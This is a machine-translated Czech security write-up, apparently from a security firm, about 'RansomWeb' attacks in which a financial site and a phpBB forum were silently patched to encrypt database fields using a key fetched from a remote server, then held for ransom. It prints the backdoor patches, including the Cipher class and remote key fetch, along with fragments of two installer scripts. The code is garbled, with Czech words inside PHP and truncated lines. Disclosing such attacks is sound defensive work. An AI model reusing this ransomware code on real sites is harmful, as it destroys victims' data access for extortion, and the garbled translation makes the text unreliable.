Příklad

 

V prosinci 2014, naše bezpečnostní experti objevil velmi zajímavý případ finanční firmy webové stránky kompromis: webová stránka byla mimo provoz zobrazující k chybě databáze, zatímco majitel webové stránky dostal email s žádostí o výkupné, aby "dešifrovat databáze". Webová aplikace v pochybnost byl docela jednoduchý a malý, ale velmi důležité pro podnikání společnosti, která nemohla dovolit ji přerušit, ani oznamuje své kompromis. Pečlivé vyšetřování, které jsme provedli odhalila následující:
Webová aplikace byla ohrožena před šesti měsíci, několik serverových skriptů byly upraveny k zašifrování dat před jejich vložením do databáze a dešifrovat po získání dat z databáze. Něco jako "on-fly" záplatování neviditelný pro uživatele webových aplikací.
Pouze nejkritičtější pole databázové tabulky byly zašifrovány (pravděpodobně nebude mít vliv na výkon webové aplikace hodně). Všechny dříve existující záznamy databázové byly odpovídajícím způsobem šifrována.
Šifrovací klíč byl uložen na vzdáleném webový server přístupný pouze přes HTTPS (asi aby se zabránilo klíčovou odposlechu různých monitorovacích dopravní systémy).
V průběhu šesti měsíců, hackeři byli tiše čekají, zatímco zálohy byly přepsány novějších verzí databáze.
V den X, hackeři odstranili klíč ze vzdáleného serveru. Databáze se stal nepoužitelný, webové stránky šel mimo provoz, a hackeři požadoval výkupné za šifrovacího klíče.
Byli jsme si jistí, že je to individuální příkladem sofistikované APT cílení konkrétního podniku, ale minulý týden jsme čelili jiný podobný případ. Jeden z našich zákazníků, SMB, byl vydírán po jeho ... phpBB fórum šel mimo provoz. Fóra byl používán jako hlavní platformu pro zákaznickou podporu, a proto bylo důležité pro zákazníka.
Jednalo se o poslední phpBB 3.1.2 propuštěn na 25. listopadu 2014. Žádný uživatel mohl Přihlašovací údaje (včetně fóra moderátory a administrátory). Fórum bylo on-line, ale všechny funkce, které vyžadují uživatelské fórum, které mají být ověřeny nefungoval. Naše důkladné šetření vyplynulo, že fórum motor byl záplatovaný takovým způsobem, že hesla a e-maily uživatelů byly zašifrované "on-fly" mezi webové aplikace a databáze.
Následující soubory byly upraveny:
1. Soubor " factory.php " má svůj "sql_fetchrow ()" funkce upravenou takovým způsobem, že výsledek SQL dotazu "$ result = $ this-> get_driver () -> sql_fetchrow ($ query_id)" v poli " výsledkem "bude mít dešifrovány hodnoty" user_password "a" user_email "polí tabulky:
if (isset ( $ výsledek [ 'user_password' ])) {
$ výsledek [ 'user_password' ] = $ šifra -> dešifrovat ( $ výsledek [ 'user_password' ]);
}
if (isset ( $ výsledek [ 'user_email' ]) ) {
$ výsledek [ 'user_email' ] = $ šifra -> dešifrovat ( $ výsledek [ 'user_email' ]);
}

2. Soubor " functions_user.php " má upravenou verzi funkce "user_add" Přidání šifrování:
$ sql_ary = array (
'username' => $ user_row [ 'username' ],
"username_clean ' => $ username_clean ,
" user_password' => (isset( $user_row [ 'user_password' ]))?
$cipher -> encrypt ( $user_row [ 'user_password' ]): $cipher -> encrypt ( '' ),
'user_email' => $cipher -> encrypt ( strtolower ( $user_row [ 'user_email' ])),
'user_email_hash' => phpbb_email_hash ( $user_row [ 'user_email' ]),
'group_id' => $user_row [ 'group_id' ],
'user_type' => $user_row [ 'user_type' ],
);

3. Soubor " cp_activate.php " má upravenou verzi funkce "main ()":
$ sql_ary = array(
'user_actkey' => '' ,
'user_password' => $cipher -> encrypt ( $user_row [ 'user_newpasswd' ]),
'user_newpasswd' => '' ,
'user_login_attempts' => 0 ,
);

4. Soubor " ucp_profile.php " má upravenou verzi funkce "main ()":
if ( sizeof ( $ sql_ary ))
{
$ sql_ary [ 'user_email' ] = $ šifra -> šifrování ( $ sql_ary [ 'user_email' ]);
$ sql_ary [ 'user_password' ] = $ šifra -> šifrování ( $ sql_ary [ ' user_password ' ]);
$ sql = "UPDATE" . USERS_TABLE . "
SET" . $ db -> sql_build_array ( UPDATE' ' , $ sql_ary ). "
WHERE user_id =' . uživatel $ -> údajů [ 'user_id' ];
$ db -> sql_query ( $ sql );

5. Soubor " config.php " měl následující změny:
třída Cipher {
soukromý $ securekey , $ iv ;
funkce __construct ( $ textkey ) {
$this -> securekey = hash ( 'sha256' , $textkey , TRUE );
$this -> iv = mcrypt_create_iv ( 32 );
}
function encrypt ( $input ) {
return base64_encode ( mcrypt_encrypt ( MCRYPT_RIJNDAEL_256 ,
$this -> securekey , $input , MCRYPT_MODE_ECB , $this -> iv ));
}
function decrypt ( $input ) {
return trim ( mcrypt_decrypt ( MCRYPT_RIJNDAEL_256 ,
$this -> securekey , base64_decode ( $input ), MCRYPT_MODE_ECB , $this -> iv ));
}
}
$key = file_get_contents ( 'https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt' );
$cipher =new Cipher ( $key );

Navíc jsme našli dvě backdoor instalačních skriptů zanechané hackerů na serveru, které umožňují, aby backdoor jakoukoli phpBB fórum se jen pár kliknutí. Soubor první instalační záplaty "config.php" přidat třídu "Cipher", který dešifruje a šifruje data pomocí PHP "mcrypt_encrypt ()" funkce uložení šifrovacího klíče na vzdáleném serveru:
<? Php
$ file = '../config.php' ;
$ txt = "\ n" . "Class Cipher {
private $ securekey, $ iv;
funkce __construct ($ textkey) {
$ this-> securekey = hash (\ "sha256 \ ', $ textkey, TRUE);
$ this-> iv = mcrypt_create_iv (32);
}
funkce zašifrovat ($ input) {
return base64_encode (mcrypt_encrypt (MCRYPT_RIJNDAEL_256,
$ this-> securekey, $ vstup, MCRYPT_MODE_ECB, $ this -> iv));
}
decrypt funkce ($ input) {
return trim (mcrypt_decrypt (MCRYPT_RIJNDAEL_256,
tohle $> securekey, base64_decode ($ vstup), MCRYPT_MODE_ECB, Cipher ($ key); "



. " \ N " ;
if ( FALSE ==! File_put_contents ( soubor $ , $ txt , FILE_APPEND | LOCK_EX )) {
echo " HOTOVO! " ;
};

A druhý instalační program analyzuje všechny stávající uživatele phpBB šifrovat své e-maily a hesla, a nahrazuje výše uvedené soubory phpBB s backdoored kopií:
<? Php
definovat ( "IN_PHPBB ' , pravda );
$ phpbb_root_path = ( definované ( " PHPBB_ROOT_PATH' ))


user_id, user_password, user_email FROM " . USERS_TABLE ;
$ výsledek = $ db -> sql_query ( $ sql );
while ( $ row = $ db -> sql_fetchrow ( $ result ))
{
$ sql2 = '' UPDATE . USERS_TABLE . "
SET
user_password = " ' . $ šifra -> šifrování ( $ row [ ' user_password ' ]). '",
user_email = " ' . $ šifra -> šifrování ( $ row [ ' user_email ' ]). '"
WHERE user_id = ' . $ row [ 'user_id' ];
$ result2 = $ db -> sql_query ( $ sql2 );
}
echo "SQL



AKTUALIZOVÁNO! " ;

Útočníci čekal po dobu 2 měsíců a pak už jen odstraněn klíč ze vzdáleného serveru. Později jsme zjistili, že phpBB byla ohrožena pomocí ukradené heslo FTP, bezpečnost phpBB není ve vztahu k incidentu v žádném případě.
Pro tuto chvíli žádný antivirový software rozpozná i instalátory jako známý malware:
Soubor "step1.php"
Soubor "step2.php"
V návaznosti na mzdy Ransomware útoků, jsme nazvali tento hacking techniky RansomWeb .